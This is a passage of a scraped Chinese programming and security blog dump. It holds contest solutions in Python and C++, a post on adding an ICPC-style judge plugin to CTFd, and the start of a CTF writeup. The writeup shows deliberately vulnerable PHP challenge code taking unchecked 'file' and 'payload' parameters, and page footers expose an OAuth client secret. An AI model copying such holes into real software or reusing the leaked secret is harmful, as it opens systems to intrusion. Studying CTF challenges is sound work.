class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), \u003cspan class=\"number\"\u003e16\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s = [\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(i)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x])]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e j \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e k \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[i:j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e]:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e k != \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"literal\"\u003eFalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e flag:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s.append(\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(_)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[:i]])+\u003cspan class=\"string\"\u003e\u0026#39;::\u0026#39;\u003c/span\u003e+\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e.join([\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(_)[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e x[j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]]))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s.sort(key=\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x: (\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), x))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;Case #%d:\u0026#39;\u003c/span\u003e % (case), s[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是python里头有个all,可以判断一个可遍历对象里头是否都为true\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eT = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(\u003cspan class=\"built_in\"\u003einput\u003c/span\u003e())\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecase = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e T\u0026gt;case:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e case+=\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = \u003cspan class=\"built_in\"\u003einput\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e x = [\u003cspan class=\"built_in\"\u003ehex\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(x[i:i+\u003cspan class=\"number\"\u003e16\u003c/span\u003e], \u003cspan class=\"number\"\u003e2\u003c/span\u003e))[\u003cspan class=\"number\"\u003e2\u003c/span\u003e:] \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x), \u003cspan class=\"number\"\u003e16\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s = [\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e.join(x)]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e j \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e8\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"built_in\"\u003eall\u003c/span\u003e(\u003cspan class=\"built_in\"\u003emap\u003c/span\u003e(\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x:x==\u003cspan class=\"string\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e,x[i:j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e])):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s.append(\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e.join(x[:i])+\u003cspan class=\"string\"\u003e\u0026#39;::\u0026#39;\u003c/span\u003e+\u003cspan class=\"string\"\u003e\u0026#39;:\u0026#39;\u003c/span\u003e.join(x[j+\u003cspan class=\"number\"\u003e1\u003c/span\u003e:]) )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e s.sort(key=\u003cspan class=\"keyword\"\u003elambda\u003c/span\u003e x:(\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(x),x))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;Case #%d:\u0026#39;\u003c/span\u003e%(case),s[\u003cspan class=\"number\"\u003e0\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"D-Move\"\u003eD: Move\u003c/h3\u003e\u003cp\u003e数据毒瘤。。。有多少人的二分都过了。。\u003cbr/\u003e证明\u0026#34;$f(V)=需要的盒子数$\u0026#34;不单调:\u003cbr/\u003e首先取体积为V的流体(即$\\lim\\limits_{n \\to \\infty}v_1,v_2…v_n$)放满K个盒子,取$v_i, v_j$合并为一个物体,此时$\\sum v_i$没变,而多了一个需要的盒子\u003cbr/\u003e貌似遍历check一遍就能过\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003echeck\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e V)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(put, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e) * n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt_obj = n, cnt = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (sumV) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cur = V;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!put[i] \u0026amp;\u0026amp; v[i] \u0026lt;= cur) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e put[i] = \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cnt_obj--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cur -= v[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cnt++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e cnt \u0026lt;= k;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2019/08/06/Misc/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/"},{"title":"给CTFd加上ACM评测功能","time":"2019-07-24T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e闲得蛋疼.jpg\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e去年参加西电办的中学生CTF嫖了五千块钱,今年就能来西电办中学生CTF.jpg,真实的一批\u003c/p\u003e\u003cp\u003e去年的ACM题是直接起了个hustoj(我记得),这样就需要工作人员不断地检查榜单并且手动发放flag,工作量大且效率低。于是我就来整个CTFdOJ,交的代码AC了自动加分。\u003c/p\u003e\u003ch2 id=\"前置\"\u003e前置\u003c/h2\u003e\u003ch3 id=\"CTFd-plugin\"\u003eCTFd plugin\u003c/h3\u003e\u003cp\u003e与其说是“魔改CTFd”不如说“给CTFd整个插件”\u003cbr/\u003eCTFd自带的动态积分题目就是一个典型的插件。这个插件给CTFd添加了一种题目。\u003cbr/\u003e那么添加“ACM题目类型”理所当然也应该写成一个插件\u003c/p\u003e\u003ch3 id=\"沙箱的选择\"\u003e沙箱的选择\u003c/h3\u003e\u003cp\u003e评测沙箱需要用来控制程序的行为,而且是OJ的核心部件,要精确统计程序的运行时间/空间占用信息。\u003cbr/\u003e由于有很多现成的,那我就找一个拿来用吧\u003cbr/\u003e综合功能和LICENSE等多种因素,最终选择了QDOJ的Judger\u003c/p\u003e\u003ch3 id=\"一些决定\"\u003e一些决定\u003c/h3\u003e\u003cul\u003e\u003cli\u003e将评测机与CTFd分离开来。\u003cul\u003e\u003cli\u003e考虑到CTFd只是一个题目平台,并不应该负责繁重的计算任务\u003c/li\u003e\u003cli\u003e将评测机和平台放在一起有修改成绩的隐患\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e做安全的同学大概对Python更加熟悉,于是支持对Python程序的评测\u003c/li\u003e\u003cli\u003e通过配置文件能随时添加新的语言支持\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"撸代码\"\u003e撸代码\u003c/h2\u003e\u003ch3 id=\"plugin\"\u003eplugin\u003c/h3\u003e\u003cpre\u003e\u003ccode\u003e负责添加/展示/设置题目,并在评测正确时为相应队伍加上对应的分数\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e折腾了半天。。。推翻了以前越写越复杂还要改CTFd自己的数据库的写法以后重做了这个东西:\u003ca href=\"https://github.com/frankli0324/CTFd-ICPC-challenges\"\u003eICPC Plugin\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"translation-layer\"\u003etranslation layer\u003c/h3\u003e\u003cpre\u003e\u003ccode\u003e主要负责接受来自CTFd plugin的评测请求缓存测试用例,避免每次都要把40多M的input/output重新发一遍\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e由于需要不同的功能,还是用flask方便一点。通过不同的URL来定位不同的功能。\u003cbr/\u003e于是有了\u003ca href=\"https://github.com/frankli0324/JudgeServer\"\u003eJudgeServer\u003c/a\u003e\u003cbr/\u003e对于不同的语言支持,可以在worker.json中配置。其中可以配置编译命令,执行命令,并且通过向命令中注入变量来控制细节。\u003cbr/\u003e解释型语言不写编译命令就是了。\u003c/p\u003e\u003ch3 id=\"translation-layer-权限控制\"\u003etranslation layer::权限控制\u003c/h3\u003e\u003cp\u003eACM沙箱最头疼的就是权限。\u003cbr/\u003e首先,用了别人的沙箱,可以丢过给别人。\u003cbr/\u003e其次,这货跑在docker里头,断了外网。希望可以一劳永逸。\u003cbr/\u003e还有,具体的权限控制\u003cstrong\u003e假定\u003c/strong\u003e都能通过命令行参数完成。比如\u003cbr/\u003ejava的\u003ccode\u003e-Djava.security.manager\u003c/code\u003e选项\u003cbr/\u003ePython可以跑在venv里头\u003c/p\u003e\u003ch2 id=\"总体流程\"\u003e总体流程\u003c/h2\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e +--------+ +--------+\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e +-----------+ | | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e | R | | 1 | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e v | +------------\u0026gt; |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e+------+---+ | | | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e| | | \u0026lt;------------+ |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e|contestant| | CTFd | 2 | Judger |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e| | | Plugin | | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e+------+---+ | | | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e | | | 3 | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e | S | +------------\u0026gt; |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e +----------\u0026gt;+ | | |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e +--------+ +--------+\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上图中1、2、3分别表示CTFd在接收到一次submission(S)后与Judger可能的三种行为\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ecode\u003c/th\u003e\u003cth\u003eaction\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003e发送代码+题目id+语言,进行评测\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003e返回评测结果与评测过的最后一组数据的运行情况\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e3\u003c/td\u003e\u003ctd\u003e发送题目测试用例的URL\u003csup\u003e\u003cstrong\u003etodo\u003c/strong\u003e\u003c/sup\u003e+设定的资源限制,缓存题目评测信息\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e在收到一次Submission(S)后,Plugin首先尝试进行\u003ccode\u003e1\u003c/code\u003e。\u003cbr/\u003e如果Judger此时并没有缓存过这个题目,则会返回评测错误,此时Plugin会尝试进行\u003ccode\u003e3\u003c/code\u003e,Judger则会缓存当前题目\u003cbr/\u003ePlugin执行完\u003ccode\u003e3\u003c/code\u003e后会再次尝试\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e真是憨憨,自嗨行为\u003c/p\u003e\u003c/blockquote\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2019/07/25/Dev/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/"},{"title":"第十二届全国大学生信息安全竞赛西北赛区 部分题目 Writeup","time":"2019-04-21T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"JustSoso\"\u003eJustSoso\u003c/h2\u003e\u003cdiv class=\"spoiler collapsed\"\u003e \u003cdiv class=\"spoiler-title\"\u003e 题目源码 \u003c/div\u003e \u003cdiv class=\"spoiler-content\"\u003e \u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// index.php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerror_reporting(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#34;file\u0026#34;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$payload\u003c/span\u003e = \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#34;payload\u0026#34;\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$file\u003c/span\u003e)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;Missing parameter\u0026#39;\u003c/span\u003e.\u003cspan class=\"string\"\u003e\u0026#39;\u0026lt;br\u0026gt;\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(preg_match(\u003cspan class=\"string\"\u003e\u0026#34;/flag/\u0026#34;\u003c/span\u003e,\u003cspan 